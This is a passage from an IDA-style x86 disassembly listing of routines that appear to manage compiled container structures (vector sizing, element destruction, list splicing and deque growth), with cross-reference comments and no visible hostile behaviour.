		mov	eax, [esi+4]
		mov	[eax+4], eax
		and	dword ptr [esi+8], 0
		cmp	ebx, [esi+4]
		jz	short loc_4055E7
		push	edi


loc_4055BE:				; CODE XREF: sub_4055A2+42j
		mov	eax, [ebx]
		lea	edi, [ebx+24h]
		mov	[ebp+var_4], eax
		call	sub_406C09
		push	0
		push	1
		lea	ecx, [ebx+8]
		call	sub_4013C4
		push	ebx
		call	sub_40DD8A
		mov	ebx, [ebp+var_4]
		cmp	ebx, [esi+4]
		pop	ecx
		jnz	short loc_4055BE
		pop	edi


loc_4055E7:				; CODE XREF: sub_4055A2+19j
		pop	ebx
		leave
		retn
sub_4055A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4055EA	proc near		; CODE XREF: sub_40290F+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		sub	esp, 0Ch
		test	eax, eax
		push	ebx
		push	esi
		jz	short loc_4055FE
		cmp	eax, [ebp+arg_14]
		jz	short loc_405603


loc_4055FE:				; CODE XREF: sub_4055EA+Dj
		call	sub_40DCFC


loc_405603:				; CODE XREF: sub_4055EA+12j
		mov	eax, [ebp+arg_10]
		cmp	eax, [ebp+arg_18]
		jz	short loc_405681
		cmp	[ebp+arg_0], edi
		jnz	short loc_405629
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_40561C
		cmp	eax, [ebp+arg_14]
		jz	short loc_405621


loc_40561C:				; CODE XREF: sub_4055EA+2Bj
		call	sub_40DCFC


loc_405621:				; CODE XREF: sub_4055EA+30j
		mov	eax, [ebp+arg_8]
		cmp	eax, [ebp+arg_18]
		jz	short loc_405681


loc_405629:				; CODE XREF: sub_4055EA+24j
		xor	ebx, ebx
		cmp	[ebp+arg_0], edi
		jz	short loc_405663
		cmp	[ebp+arg_C], ebx
		mov	eax, [edi+4]
		mov	esi, [eax]
		jz	short loc_40563F
		cmp	[ebp+arg_C], edi
		jz	short loc_405644


loc_40563F:				; CODE XREF: sub_4055EA+4Ej
		call	sub_40DCFC


loc_405644:				; CODE XREF: sub_4055EA+53j
		cmp	[ebp+arg_10], esi
		jnz	short loc_405687
		cmp	[ebp+arg_14], ebx
		mov	esi, [edi+4]
		jz	short loc_405656
		cmp	[ebp+arg_14], edi
		jz	short loc_40565B


loc_405656:				; CODE XREF: sub_4055EA+65j
		call	sub_40DCFC


loc_40565B:				; CODE XREF: sub_4055EA+6Aj
		cmp	[ebp+arg_18], esi
		jnz	short loc_405687
		mov	ebx, [edi+8]


loc_405663:				; CODE XREF: sub_4055EA+44j
					; sub_4055EA+C0j
		push	[ebp+arg_18]
		mov	ecx, [ebp+arg_0]
		push	[ebp+arg_14]
		mov	eax, ebx
		push	[ebp+arg_10]
		mov	edx, edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_405A06


loc_405681:				; CODE XREF: sub_4055EA+1Fj
					; sub_4055EA+3Dj
		pop	esi
		pop	ebx
		leave
		retn	1Ch
; ---------------------------------------------------------------------------


loc_405687:				; CODE XREF: sub_4055EA+5Dj
					; sub_4055EA+74j
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_8], eax


loc_405693:				; CODE XREF: sub_4055EA+CBj
		mov	eax, [ebp+var_C]
		test	eax, eax
		jz	short loc_40569F
		cmp	eax, [ebp+arg_14]
		jz	short loc_4056A4


loc_40569F:				; CODE XREF: sub_4055EA+AEj
		call	sub_40DCFC


loc_4056A4:				; CODE XREF: sub_4055EA+B3j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_18]
		jz	short loc_405663
		lea	esi, [ebp+var_C]
		inc	ebx
		call	sub_405D8F
		jmp	short loc_405693
sub_4055EA	endp

; ---------------------------------------------------------------------------


loc_4056B7:				; CODE XREF: .vty:0041B0A9j
					; .vty:0041B183j ...
		jmp	sub_405AAC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4056BC	proc near		; CODE XREF: .vty:00403989p
					; sub_4076E5+13p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, eax
		cmp	esi, ebx
		push	edi
		jz	loc_4057B0
		mov	eax, ebx
		call	sub_4057B6
		test	eax, eax
		jnz	short loc_4056E2
		call	sub_4057CC
		jmp	loc_4057B0
; ---------------------------------------------------------------------------


loc_4056E2:				; CODE XREF: sub_4056BC+1Aj
		mov	eax, ebx
		call	sub_4057B6
		mov	edi, eax
		mov	eax, esi
		call	sub_4057B6
		cmp	edi, eax
		ja	short loc_40571F
		push	dword ptr [ebx+8]
		mov	eax, [esi+4]
		mov	ecx, [ebx+4]
		call	sub_406A8F
		pop	ecx
		push	dword ptr [esi+8]
		call	sub_405A8F
		mov	eax, ebx
		call	sub_4057B6
		imul	eax, 1Ch
		add	eax, [esi+4]
		jmp	loc_4057AD
; ---------------------------------------------------------------------------


loc_40571F:				; CODE XREF: sub_4056BC+38j
		mov	edi, [esi+4]
		test	edi, edi
		jnz	short loc_40572B
		and	[ebp+var_4], edi
		jmp	short loc_405739
; ---------------------------------------------------------------------------


loc_40572B:				; CODE XREF: sub_4056BC+68j
		mov	eax, [esi+0Ch]
		sub	eax, edi
		push	1Ch
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_4], eax


loc_405739:				; CODE XREF: sub_4056BC+6Dj
		mov	eax, ebx
		call	sub_4057B6
		cmp	eax, [ebp+var_4]
		ja	short loc_405767
		mov	eax, esi
		call	sub_4057B6
		mov	ecx, [ebx+4]
		mov	edi, eax
		mov	eax, [esi+4]
		imul	edi, 1Ch
		add	edi, ecx
		push	edi
		call	sub_406A8F
		pop	ecx
		push	dword ptr [esi+8]
		mov	ecx, edi
		jmp	short loc_4057A5
; ---------------------------------------------------------------------------


loc_405767:				; CODE XREF: sub_4056BC+87j
		test	edi, edi
		jz	short loc_40577E
		push	dword ptr [esi+8]
		mov	eax, edi
		call	sub_405A8F
		push	dword ptr [esi+4]
		call	sub_40DD8A
		pop	ecx


loc_40577E:				; CODE XREF: sub_4056BC+ADj
		mov	eax, ebx
		call	sub_4057B6
		xor	ecx, ecx
		cmp	eax, ecx
		mov	[esi+4], ecx
		mov	[esi+8], ecx
		mov	[esi+0Ch], ecx
		jz	short loc_4057B0
		mov	edi, esi
		call	sub_405A66
		test	al, al
		jz	short loc_4057B0
		push	dword ptr [esi+4]
		mov	ecx, [ebx+4]


loc_4057A5:				; CODE XREF: sub_4056BC+A9j
		push	dword ptr [ebx+8]
		call	sub_406ACD


loc_4057AD:				; CODE XREF: sub_4056BC+5Ej
		mov	[esi+8], eax


loc_4057B0:				; CODE XREF: sub_4056BC+Bj
					; sub_4056BC+21j ...
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4056BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4057B6	proc near		; CODE XREF: sub_402979+5Bp
					; sub_402979+66p ...
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_4057C0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4057C0:				; CODE XREF: sub_4057B6+5j
		mov	eax, [eax+8]
		sub	eax, ecx
		push	1Ch
		cdq
		pop	ecx
		idiv	ecx
		retn
sub_4057B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4057CC	proc near		; CODE XREF: .vty:004053C5p
					; sub_4056BC+1Cp
		push	ebx
		mov	ebx, [esi+8]
		cmp	[esi+4], ebx
		push	edi
		jbe	short loc_4057DB
		call	sub_40DCFC


loc_4057DB:				; CODE XREF: sub_4057CC+8j
		mov	edi, [esi+4]
		cmp	edi, [esi+8]
		jbe	short loc_4057E8
		call	sub_40DCFC


loc_4057E8:				; CODE XREF: sub_4057CC+15j
		cmp	edi, ebx
		jz	short loc_405806
		push	dword ptr [esi+8]
		mov	eax, edi
		mov	ecx, ebx
		call	sub_406A8F
		pop	ecx
		push	dword ptr [esi+8]
		mov	edi, eax
		call	sub_405A8F
		mov	[esi+8], edi


loc_405806:				; CODE XREF: sub_4057CC+1Ej
		pop	edi
		pop	ebx
		retn
sub_4057CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_405809	proc near		; CODE XREF: sub_40260A+93p
					; .vty:0041B081j
		push	edi
		mov	edi, [esi+4]
		test	edi, edi
		jz	short loc_40582D
		push	ebx
		mov	ebx, [esi+8]
		jmp	short loc_40581F
; ---------------------------------------------------------------------------


loc_405817:				; CODE XREF: sub_405809+18j
		call	sub_405989
		add	edi, 74h


loc_40581F:				; CODE XREF: sub_405809+Cj
		cmp	edi, ebx
		jnz	short loc_405817
		push	dword ptr [esi+4]
		call	sub_40DD8A
		pop	ecx
		pop	ebx


loc_40582D:				; CODE XREF: sub_405809+6j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	edi
		retn
sub_405809	endp


; =============== S U B	R O U T	I N E =======================================



sub_40583B	proc near		; CODE XREF: sub_4033DA+2AEp
		mov	eax, offset loc_41B5FB
		call	sub_41AE44
		push	ecx
		push	esi
		push	edi
		sub	esp, 74h
		mov	edi, esp
		xor	eax, eax
		mov	[ebp-10h], esp
		mov	[ebp-10h], edi
		mov	[edi+4], eax
		mov	[edi+8], eax
		mov	[edi+0Ch], eax
		mov	[ebp-4], eax
		mov	[edi+14h], eax
		mov	[edi+18h], eax
		mov	[edi+1Ch], eax
		lea	esi, [edi+20h]
		call	sub_4012E2
		push	offset a0_0_0_0	; "0.0.0.0"
		lea	ecx, [edi+3Ch]
		mov	byte ptr [ebp-4], 2
		call	sub_401C44
		lea	esi, [edi+58h]
		call	sub_4012E2
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+8]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_405ADB
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	large fs:0, ecx
		pop	esi
		leave
		retn	8
sub_40583B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4058AA	proc near		; CODE XREF: sub_402979+A6p
					; sub_402979+C6p ...
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_4058B4
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4058B4:				; CODE XREF: sub_4058AA+5j
		mov	eax, [eax+8]
		sub	eax, ecx
		push	74h
		cdq
		pop	ecx
		idiv	ecx
		retn
sub_4058AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4058C0	proc near		; CODE XREF: sub_402979+D7p
					; sub_4033DA+2F8p ...

arg_0		= dword	ptr  4

		mov	eax, esi
		call	sub_4058AA
		cmp	[esp+arg_0], eax
		jb	short loc_4058D2
		call	sub_40DCFC


loc_4058D2:				; CODE XREF: sub_4058C0+Bj
		mov	eax, [esp+arg_0]
		imul	eax, 74h
		add	eax, [esi+4]
		retn	4
sub_4058C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4058DF	proc near		; CODE XREF: sub_4033DA+90p
					; sub_4033DA+F4p ...
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_4058E9
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4058E9:				; CODE XREF: sub_4058DF+5j
		mov	eax, [eax+8]
		sub	eax, ecx
		sar	eax, 2
		retn
sub_4058DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4058F2	proc near		; CODE XREF: sub_402AA0+E6p
					; sub_403151+215p

arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	esi
		mov	esi, eax
		mov	eax, [esi+10h]
		mov	ecx, [esi+0Ch]
		add	ecx, eax
		test	cl, 3
		push	edi
		jnz	short loc_405915
		add	eax, 4
		shr	eax, 2
		cmp	[esi+8], eax
		ja	short loc_405915
		call	sub_405C5B


loc_405915:				; CODE XREF: sub_4058F2+11j
					; sub_4058F2+1Cj
		mov	edi, [esi+0Ch]
		add	edi, [esi+10h]
		mov	ecx, [esi+8]
		mov	eax, edi
		shr	eax, 2
		cmp	ecx, eax
		ja	short loc_405929
		sub	eax, ecx


loc_405929:				; CODE XREF: sub_4058F2+33j
		mov	ebx, eax
		mov	eax, [esi+4]
		shl	ebx, 2
		cmp	dword ptr [ebx+eax], 0
		jnz	short loc_405945
		push	10h
		call	sub_40DE68
		pop	ecx
		mov	ecx, [esi+4]
		mov	[ebx+ecx], eax


loc_405945:				; CODE XREF: sub_4058F2+43j
		mov	eax, [esi+4]
		mov	eax, [eax+ebx]
		and	edi, 3
		lea	edi, [eax+edi*4]
		test	edi, edi
		jz	short loc_40595D
		mov	eax, [esp+10h+arg_0]
		mov	eax, [eax]
		mov	[edi], eax


loc_40595D:				; CODE XREF: sub_4058F2+61j
		inc	dword ptr [esi+10h]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn	4
sub_4058F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_405967	proc near		; CODE XREF: sub_403151+F1p
					; sub_407454+97p ...
		cmp	dword ptr [esi], 0
		jnz	short loc_405971
		call	sub_40DCFC


loc_405971:				; CODE XREF: sub_405967+3j
		mov	eax, [esi+4]
		mov	eax, [eax+4]
		mov	ecx, [esi]
		mov	[esi+4], eax
		cmp	eax, [ecx+4]
		jnz	short loc_405986
		call	sub_40DCFC


loc_405986:				; CODE XREF: sub_405967+18j
		mov	eax, esi
		retn
sub_405967	endp


; =============== S U B	R O U T	I N E =======================================



sub_405989	proc near		; CODE XREF: sub_405809:loc_405817p
					; sub_405ADB+8Fp ...
		push	esi
		xor	esi, esi
		push	esi
		push	1
		lea	ecx, [edi+58h]
		call	sub_4013C4
		push	esi
		push	1
		lea	ecx, [edi+3Ch]
		call	sub_4013C4
		push	esi
		push	1
		lea	ecx, [edi+20h]
		call	sub_4013C4
		lea	esi, [edi+10h]
		call	sub_405F8B
		mov	esi, edi
		call	sub_405F66
		pop	esi
		retn
sub_405989	endp


; =============== S U B	R O U T	I N E =======================================



sub_4059BE	proc near		; CODE XREF: sub_402F64+CAp
					; sub_406A6D+16p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [eax+14h]
		cmp	ecx, esi
		jnb	short loc_4059CA
		mov	esi, ecx


loc_4059CA:				; CODE XREF: sub_4059BE+8j
		cmp	esi, edi
		mov	ecx, esi
		jb	short loc_4059D2
		mov	ecx, edi


loc_4059D2:				; CODE XREF: sub_4059BE+10j
		cmp	dword ptr [eax+18h], 10h
		jb	short loc_4059DD
		mov	eax, [eax+4]
		jmp	short loc_4059E0
; ---------------------------------------------------------------------------


loc_4059DD:				; CODE XREF: sub_4059BE+18j
		add	eax, 4


loc_4059E0:				; CODE XREF: sub_4059BE+1Dj
		push	ecx
		push	[esp+8+arg_0]
		push	eax
		call	sub_40DED2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_405A02
		cmp	esi, edi
		jnb	short loc_4059FB
		or	eax, 0FFFFFFFFh
		jmp	short loc_405A02
; ---------------------------------------------------------------------------


loc_4059FB:				; CODE XREF: sub_4059BE+36j
		xor	eax, eax
		cmp	esi, edi
		setnz	al


loc_405A02:				; CODE XREF: sub_4059BE+32j
					; sub_4059BE+3Bj
		pop	esi
		retn	4
sub_4059BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_405A06	proc near		; CODE XREF: sub_403151+113p
					; sub_4055EA+92p

arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h
arg_14		= dword	ptr  18h

		push	ecx
		push	esi
		mov	esi, edx
		cmp	ecx, esi
		push	edi
		mov	edi, eax
		jz	short loc_405A1B
		mov	edx, edi
		call	sub_405EBC
		sub	[esi+8], edi


loc_405A1B:				; CODE XREF: sub_405A06+9j
		mov	eax, [esp+0Ch+arg_C]
		mov	edx, [eax+4]
		mov	ecx, [esp+0Ch+arg_14]
		mov	[edx], ecx
		mov	esi, [ecx+4]
		mov	edx, [esp+0Ch+arg_4]
		mov	[esi], edx
		mov	esi, [edx+4]
		mov	[esi], eax
		mov	esi, [edx+4]
		mov	edi, [ecx+4]
		mov	[edx+4], edi
		mov	edx, [eax+4]
		mov	[ecx+4], edx
		pop	edi
		mov	[eax+4], esi
		pop	esi
		pop	ecx
		retn	18h
sub_405A06	endp


; =============== S U B	R O U T	I N E =======================================



sub_405A4E	proc near		; CODE XREF: sub_402509+4Fp
					; sub_402509+64p ...
		push	40h
		call	sub_40DE68
		test	eax, eax
		pop	ecx
		jz	short loc_405A5C
		mov	[eax], eax


loc_405A5C:				; CODE XREF: sub_405A4E+Aj
		lea	ecx, [eax+4]
		test	ecx, ecx
		jz	short locret_405A65
		mov	[ecx], eax

locret_405A65:				; CODE XREF: sub_405A4E+13j
		retn
sub_405A4E	endp


; =============== S U B	R O U T	I N E =======================================



sub_405A66	proc near		; CODE XREF: sub_4056BC+DAp
					; sub_4075BC+30p
		push	esi
		mov	esi, eax
		cmp	esi, 9249249h
		jbe	short loc_405A76
		jmp	sub_40684D
; ---------------------------------------------------------------------------


loc_405A76:				; CODE XREF: sub_405A66+9j
		mov	ecx, esi
		call	sub_405F1C
		imul	esi, 1Ch
		add	esi, eax
		mov	[edi+4], eax
		mov	[edi+8], eax
		mov	[edi+0Ch], esi
		mov	al, 1
		pop	esi
		retn
sub_405A66	endp


; =============== S U B	R O U T	I N E =======================================



sub_405A8F	proc near		; CODE XREF: sub_4056BC+4Cp
					; sub_4056BC+B4p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, eax
		jmp	short loc_405AA2
; ---------------------------------------------------------------------------


loc_405A94:				; CODE XREF: sub_405A8F+17j
		push	0
		push	1
		mov	ecx, esi
		call	sub_4013C4
		add	esi, 1Ch


loc_405AA2:				; CODE XREF: sub_405A8F+3j
		cmp	esi, [esp+4+arg_0]
		jnz	short loc_405A94
		pop	esi
		retn	4
sub_405A8F	endp


; =============== S U B	R O U T	I N E =======================================



sub_405AAC	proc near		; CODE XREF: sub_40260A+75p
					; sub_4033DA+57p ...
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_405AC4
		push	dword ptr [esi+8]
		call	sub_405A8F
		push	dword ptr [esi+4]
		call	sub_40DD8A
		pop	ecx


loc_405AC4:				; CODE XREF: sub_405AAC+5j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		retn
sub_405AAC	endp

; ---------------------------------------------------------------------------


loc_405AD1:				; CODE XREF: .vty:0041B228j
					; .vty:0041B5E0j
		jmp	sub_405F66
; ---------------------------------------------------------------------------


loc_405AD6:				; CODE XREF: .vty:0041B233j
					; .vty:0041B5EBj
		jmp	sub_405F8B

; =============== S U B	R O U T	I N E =======================================



sub_405ADB	proc near		; CODE XREF: sub_40583B+5Ap
		mov	eax, offset loc_41B5D3
		call	sub_41AE44
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		and	dword ptr [ebp-4], 0
		mov	eax, esi
		call	sub_4058AA
		cmp	edi, eax
		jbe	short loc_405B22
		mov	ebx, [esi+8]
		cmp	[esi+4], ebx
		jbe	short loc_405B0B
		call	sub_40DCFC


loc_405B0B:				; CODE XREF: sub_405ADB+29j
		push	ebx
		push	esi
		mov	eax, esi
		call	sub_4058AA
		sub	edi, eax
		push	edi
		push	esi
		lea	ecx, [ebp+8]
		call	sub_405FB0
		jmp	short loc_405B67
; ---------------------------------------------------------------------------


loc_405B22:				; CODE XREF: sub_405ADB+21j
		jnb	short loc_405B67
		mov	eax, [esi+8]
		cmp	[esi+4], eax
		mov	[ebp-10h], eax
		jbe	short loc_405B34
		call	sub_40DCFC


loc_405B34:				; CODE XREF: sub_405ADB+52j
		mov	ebx, [esi+4]
		cmp	ebx, [esi+8]
		jbe	short loc_405B41
		call	sub_40DCFC


loc_405B41:				; CODE XREF: sub_405ADB+5Fj
		imul	edi, 74h
		add	edi, ebx
		cmp	edi, [esi+8]
		mov	[ebp-14h], ebx
		ja	short loc_405B53
		cmp	edi, [esi+4]
		jnb	short loc_405B58


loc_405B53:				; CODE XREF: sub_405ADB+71j
		call	sub_40DCFC


loc_405B58:				; CODE XREF: sub_405ADB+76j
		push	dword ptr [ebp-10h]
		lea	eax, [ebp-18h]
		push	esi
		push	edi
		push	esi
		push	eax
		call	sub_405B80


loc_405B67:				; CODE XREF: sub_405ADB+45j
					; sub_405ADB:loc_405B22j
		lea	edi, [ebp+8]
		call	sub_405989
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	74h
sub_405ADB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405B80	proc near		; CODE XREF: .vty:004053A4p
					; sub_405ADB+87p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	short loc_405B92
		cmp	edi, [ebp+arg_C]
		jz	short loc_405B97


loc_405B92:				; CODE XREF: sub_405B80+Bj
		call	sub_40DCFC


loc_405B97:				; CODE XREF: sub_405B80+10j
		mov	eax, [ebp+arg_10]
		cmp	[ebp+arg_8], eax
		jz	short loc_405BCB
		push	[ebp+arg_8]
		push	dword ptr [esi+8]
		call	sub_406AF1
		mov	ebx, [esi+8]
		pop	ecx
		mov	edi, eax
		pop	ecx
		mov	[ebp+arg_10], edi
		jmp	short loc_405BBE
; ---------------------------------------------------------------------------


loc_405BB6:				; CODE XREF: sub_405B80+40j
		call	sub_405989
		add	edi, 74h


loc_405BBE:				; CODE XREF: sub_405B80+34j
		cmp	edi, ebx
		jnz	short loc_405BB6
		mov	eax, [ebp+arg_10]
		mov	edi, [ebp+arg_4]
		mov	[esi+8], eax


loc_405BCB:				; CODE XREF: sub_405B80+1Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	[eax], edi
		pop	edi
		mov	[eax+4], ecx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	14h
sub_405B80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405BDD	proc near		; CODE XREF: sub_4033DA+13Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		call	sub_4058DF
		test	eax, eax
		jnz	short loc_405BF3
		xor	ebx, ebx
		jmp	short loc_405C18
; ---------------------------------------------------------------------------


loc_405BF3:				; CODE XREF: sub_405BDD+10j
		mov	edi, [esi+4]
		cmp	edi, [esi+8]
		jbe	short loc_405C00
		call	sub_40DCFC


loc_405C00:				; CODE XREF: sub_405BDD+1Cj
		cmp	[ebp+arg_8], 0
		jz	short loc_405C0B
		cmp	[ebp+arg_8], esi
		jz	short loc_405C10


loc_405C0B:				; CODE XREF: sub_405BDD+27j
		call	sub_40DCFC


loc_405C10:				; CODE XREF: sub_405BDD+2Cj
		mov	ebx, [ebp+arg_C]
		sub	ebx, edi
		sar	ebx, 2


loc_405C18:				; CODE XREF: sub_405BDD+14j
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	ecx, esi
		call	sub_406253
		mov	edi, [esi+4]
		cmp	edi, [esi+8]
		jbe	short loc_405C35
		call	sub_40DCFC


loc_405C35:				; CODE XREF: sub_405BDD+51j
		mov	[ebp+arg_8], esi
		push	ebx
		lea	esi, [ebp+arg_8]
		mov	[ebp+arg_C], edi
		call	sub_4068D9
		mov	edx, [eax]
		mov	ecx, [ebp+arg_0]
		mov	eax, [eax+4]
		pop	edi
		pop	esi
		mov	[ecx+4], eax
		mov	[ecx], edx
		mov	eax, ecx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_405BDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405C5B	proc near		; CODE XREF: sub_4058F2+1Ep

var_54		= dword	ptr -54h
var_2C		= byte ptr -2Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004063C2 SIZE 00000040 BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [esi+8]
		push	ebx
		push	edi
		mov	edx, 0FFFFFFFh
		xor	edi, edi
		mov	ecx, edx
		inc	edi
		sub	ecx, eax
		cmp	ecx, edi
		mov	[ebp+var_4], edi
		jnb	short loc_405C7E
		jmp	loc_4063C2
; ---------------------------------------------------------------------------


loc_405C7E:				; CODE XREF: sub_405C5B+1Cj
		mov	ecx, eax
		shr	ecx, 1
		cmp	ecx, 8
		jnb	short loc_405C8A
		push	8
		pop	ecx


loc_405C8A:				; CODE XREF: sub_405C5B+2Aj
		cmp	ecx, edi
		jbe	short loc_405C97
		sub	edx, ecx
		cmp	eax, edx
		ja	short loc_405C97
		mov	[ebp+var_4], ecx


loc_405C97:				; CODE XREF: sub_405C5B+31j
					; sub_405C5B+37j
		mov	ebx, [esi+0Ch]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		shr	ebx, 2
		call	sub_40688D
		mov	edx, [esi+4]
		mov	edi, ebx
		shl	edi, 2
		mov	[ebp+var_8], eax
		lea	ecx, [edi+eax]
		mov	eax, [esi+8]
		lea	eax, [edx+eax*4]
		add	edx, edi
		push	edx
		call	sub_406B39
		mov	edx, [esi+4]
		pop	ecx
		mov	ecx, eax
		mov	eax, [ebp+var_4]
		cmp	ebx, eax
		push	edx
		ja	short loc_405CF7
		sub	eax, ebx
		mov	[ebp+var_C], eax
		lea	eax, [edx+edi]
		call	sub_406B39
		pop	ecx
		mov	ecx, [ebp+var_C]
		test	ecx, ecx
		mov	edi, eax
		jbe	short loc_405CEC
		xor	eax, eax
		rep stosd


loc_405CEC:				; CODE XREF: sub_405C5B+8Bj
		test	ebx, ebx
		jbe	short loc_405D24
		mov	edi, [ebp+var_8]
		mov	ecx, ebx
		jmp	short loc_405D20
; ---------------------------------------------------------------------------


loc_405CF7:				; CODE XREF: sub_405C5B+74j
		mov	ebx, eax
		shl	ebx, 2
		lea	eax, [ebx+edx]
		call	sub_406B39
		pop	ecx
		mov	ecx, [esi+4]
		add	ebx, ecx
		lea	eax, [ecx+edi]
		mov	ecx, [ebp+var_8]
		push	ebx
		call	sub_406B39
		pop	ecx
		mov	ecx, [ebp+var_4]
		test	ecx, ecx
		mov	edi, eax
		jbe	short loc_405D24


loc_405D20:				; CODE XREF: sub_405C5B+9Aj
		xor	eax, eax
		rep stosd


loc_405D24:				; CODE XREF: sub_405C5B+93j
					; sub_405C5B+C3j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_405D32
		push	eax
		call	sub_40DD8A
		pop	ecx


loc_405D32:				; CODE XREF: sub_405C5B+CEj
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, [ebp+var_4]
		add	[esi+8], eax
		pop	edi
		pop	ebx
		leave
		retn
sub_405C5B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_405D42	proc near		; CODE XREF: sub_40260A+3Cp
					; .vty:loc_405330p
		push	ebx
		xor	ebx, ebx
		jmp	short loc_405D59
; ---------------------------------------------------------------------------


loc_405D47:				; CODE XREF: sub_405D42+1Aj
		mov	eax, [esi+10h]
		cmp	eax, ebx
		jz	short loc_405D59
		dec	eax
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_405D59
		mov	[esi+0Ch], ebx


loc_405D59:				; CODE XREF: sub_405D42+3j
					; sub_405D42+Aj ...
		cmp	[esi+10h], ebx
		jnz	short loc_405D47
		push	edi
		mov	edi, [esi+8]
		jmp	short loc_405D74
; ---------------------------------------------------------------------------


loc_405D64:				; CODE XREF: sub_405D42+37j
		dec	edi
		lea	eax, [eax+edi*4]
		cmp	[eax], ebx
		jz	short loc_405D74
		push	dword ptr [eax]
		call	sub_40DD8A
		pop	ecx


loc_405D74:				; CODE XREF: sub_405D42+20j
					; sub_405D42+28j
		cmp	edi, ebx
		mov	eax, [esi+4]
		ja	short loc_405D64
		cmp	eax, ebx
		pop	edi
		jz	short loc_405D87
		push	eax
		call	sub_40DD8A
		pop	ecx


loc_405D87:				; CODE XREF: sub_405D42+3Cj
		mov	[esi+8], ebx
		mov	[esi+4], ebx
		pop	ebx
		retn
sub_405D42	endp


; =============== S U B	R O U T	I N E =======================================



sub_405D8F	proc near		; CODE XREF: sub_401B38+BBp
					; sub_401CA0+15p ...
		cmp	dword ptr [esi], 0
		jnz	short loc_405D99
		call	sub_40DCFC


loc_405D99:				; CODE XREF: sub_405D8F+3j
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	ecx, [eax+4]
		jnz	short loc_405DA8
		call	sub_40DCFC


loc_405DA8:				; CODE XREF: sub_405D8F+12j
		mov	eax, [esi+4]
		mov	eax, [eax]
		mov	[esi+4], eax
		mov	eax, esi
		retn
sub_405D8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405DB3	proc near		; CODE XREF: sub_4027E7+DFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
